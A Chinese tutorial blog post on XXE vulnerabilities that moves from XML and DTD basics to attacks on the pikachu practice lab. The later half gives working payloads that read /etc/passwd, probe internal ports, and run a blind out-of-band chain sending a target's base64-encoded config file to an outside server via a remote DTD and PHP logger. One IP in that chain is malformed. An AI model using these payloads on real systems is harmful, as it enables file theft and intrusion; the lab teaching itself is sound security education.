网络安全之XXE漏洞总结(pikachu靶场案例解析)

XXE漏洞是基于XML的漏洞先了解XML相关知识

XML知识

  • XML 指可扩展标记语言(EXtensible Markup Language)。

  • XML 是一种很像HTML的标记语言。

  • XML 的设计宗旨是传输数据,而不是显示数据。

    • html显示数据

  • XML 标签没有被预定义。您需要自行定义标签。

  • XML 被设计为具有自我描述性。

  • XML 是 W3C 的推荐标准

  • 作用

    • 存储数据

    • 传输数据

语法规则:

XML 文档必须有根元素
XML 声明(可选)
所有的 XML 元素都必须有一个关闭标签
XML 标签对大小写敏感
XML 必须正确嵌套
XML 属性值必须加引号
实体引用(同html)
> , <
XML 中的注释(同html)
在 XML 中,空格会被保留

例子:

<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

命名规则:

XML 元素必须遵循以下命名规则:
名称可以包含字母、数字以及其他的字符
名称不能以数字或者标点符号开始
名称不能以字母 xml(或者 XML、Xml 等等)开始
名称不能包含空格

DTD

通过 DTD 验证的XML是合法的 XML

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用

内部DTD

<!DOCTYPE 根标签元素 [元素申明]>
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (a,b,c,d)>
<!ELEMENT a (#PCDATA)> //!ELEMENT:用于定义元素的名字
<!ELEMENT b (#PCDATA)> //#PCDATA ANY
<!ELEMENT c (#PCDATA)>
<!ELEMENT d (#PCDATA)>
]>
​
<note>
<a>苹果</a>
<b>香蕉</b>
<c>橘子</c>
<d>水果拼盘</d>
</note>
  • !DOCTYPE a (第二行)定义此文档是 note 类型的文档。

  • !ELEMENT note (第三行)定义 note 元素有四个元素:"a、b、c,、d"

  • !ELEMENT a (第四行)定义 a 元素为 "#PCDATA" 类型

  • !ELEMENT b (第五行)定义 b 元素为 "#PCDATA" 类型

  • !ELEMENT c (第六行)定义 c 元素为 "#PCDATA" 类型

  • !ELEMENT d (第七行)定义 d 元素为 "#PCDATA" 类型

PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

CDATA是不会被解析器解析的文本。

外部DTD

<!DOCTYPE root-element SYSTEM "filename"> //这里的SYSTEM,就算造成整个漏洞的核心

先写一个申明文件666.dtd

<!DOCTYPE note [
<!ELEMENT note (a,b,c,d)>
<!ELEMENT a (#PCDATA)> //!ELEMENT:用于定义元素的名字
<!ELEMENT b (#PCDATA)> //#PCDATA ANY
<!ELEMENT c (#PCDATA)>
<!ELEMENT d (#PCDATA)>
]>

再写xml调用666.dtd

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "666.dtd">
<note>
<a>程咬金</a>
<b>貂蝉</b>
<c>通知</c>
<d>今天晚上,大战三百回合!</d>
</note>

DTD内部实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

  • 实体引用是对实体的引用。

  • 实体可在内部或外部进行声明。

  • <!ENTITY entity-name "entity-value">
    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE stu [
    <!-- 元素声明 -->
    <!ELEMENT stu (name, age, address)>
    <!ELEMENT name (#PCDATA)>
    <!ELEMENT age (#PCDATA)>
    <!ELEMENT address (#PCDATA)>
    <!-- 实体声明 -->
    <!ENTITY name "亚瑟">
    <!ENTITY age "18">
    <!ENTITY address "对抗路">
    ]>
    <!-- 实体调用 -->
    <stu>
    <name>&name;</name>
    <age>&age;</age>
    <address>&address;</address>
    </stu>

DTD外部实体

先定义实体文件666.dtd

<!-- 元素声明 -->
<!ELEMENT stu (name, age, address)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>
<!-- 实体声明 -->
<!ENTITY name "亚瑟">
<!ENTITY age "18">
<!ENTITY address "对抗路">
]>

引用外部文件

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE stu SYSTEM "666.dtd">
​
<stu>
<name>&name;</name>
<age>&age;</age>
<address>&address;</address>
</stu>

参数实体

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!ENTITY % name SYSTEM "http://localhost/xxe/test2.php">
%name;<!--加载外部实体-->
]>

注意:参数实体只能在 DTD文件中被引用,其他实体在XML文档内引用。

参数实体 在DOCTYPE内 ,其他实体在外

PHP解析XML

传统方法

在<<<中定义xml内容

simplexml_load_string($xml,"SimpleXMLElement", LIBXML_NOENT | LIBXML_DTDLOAD );

将读取的值解析以对象的形式返回

<?php
header("Content-type:text/html;charset=utf-8");
$xml = <<<eof
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root[
<!ENTITY name SYSTEM "file:///D:/www/xxe/data.txt">]>
<root>
<username>&name;</username>
</root>
eof;
$obj = simplexml_load_string($xml,"SimpleXMLElement", LIBXML_NOENT |
LIBXML_DTDLOAD );
echo $obj->username;
解析请求
<?php
header("Content-type:text/html;charset=utf-8");
$data = file_get_contents("php://input");
$xml = simplexml_load_string($data, "SimpleXMLElement", LIBXML_NOENT |
LIBXML_DTDLOAD);
echo $xml->username;
构造的payload
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<a>&xxe;</a>

案例1(有回显)

pikachu靶场

payload
//声明xml文件
<?xml version = "1.0" encoding="UTF-8"?>
//申明元素
<!DOCTYPE ANY [
//外部实体调用
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
​
<x>&xxe;</x>

探测内网
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://127.0.0.1:443">
]>
<x>&xxe;</x>
引入外部DTD

在本地服务器创建dtd文件,返回一个send

<!ENTITY send SYSTEM "file:///etc/passwd">

准备payload来引入本地dtd文件
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "http://47.108.223.48/xxe/test.dtd">
%file;
]>
<x>&send;</x>
传入目标漏洞

案例2(无回显)

pikachu靶场

无回显,步骤分为三部

  • 第一步写payload获取目标服务器的文件内容

    • <?xml version = "1.0"?>
      <!DOCTYPE test [
      //获取外部实体,把目标服务器的config.inc.php文件给file
      <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/inc/config.inc.php">
      //再次获取外部实体,带着file到本地服务器,并调用自己准备的remote.dtd文件
      <!ENTITY % dtd SYSTEM "http://127.108.623.48/xxe/remote.dtd">
      %dtd;
      %send;
      ]>

      读取经过base64编码的目标文件给%file,然后带着%file执行127.108.623.48/xxe/remote.dtd此文件,把%file存放在本地服务器,下一步在本地服务器创建文件来获取信息

  • 第二步在本地服务器写一个php文件用于将获取到到内容保存到本地服务器

    • <?php file_put_contents('1.txt',$_GET['data']);

      将%file写入到本地服务器的1.txt

  • 第三步在本地服务器写一个dtd用于获取我们从目标服务器获取的东西

    • <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM
      'http://47.108.223.48/xxe/remote.php?data=%file;'>">
      %payload;

    由于是在本地要被目标服务器解析,所以要把%实体化转译,把从目标服务器获取到的%file给经过remote.php处理后赋给send,此时%payload="send"

最后将payload传入漏洞点,即可在本地生成1.txt,txt的内容就是目标服务器上的config.inc.php文件中的内容

  • 7
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值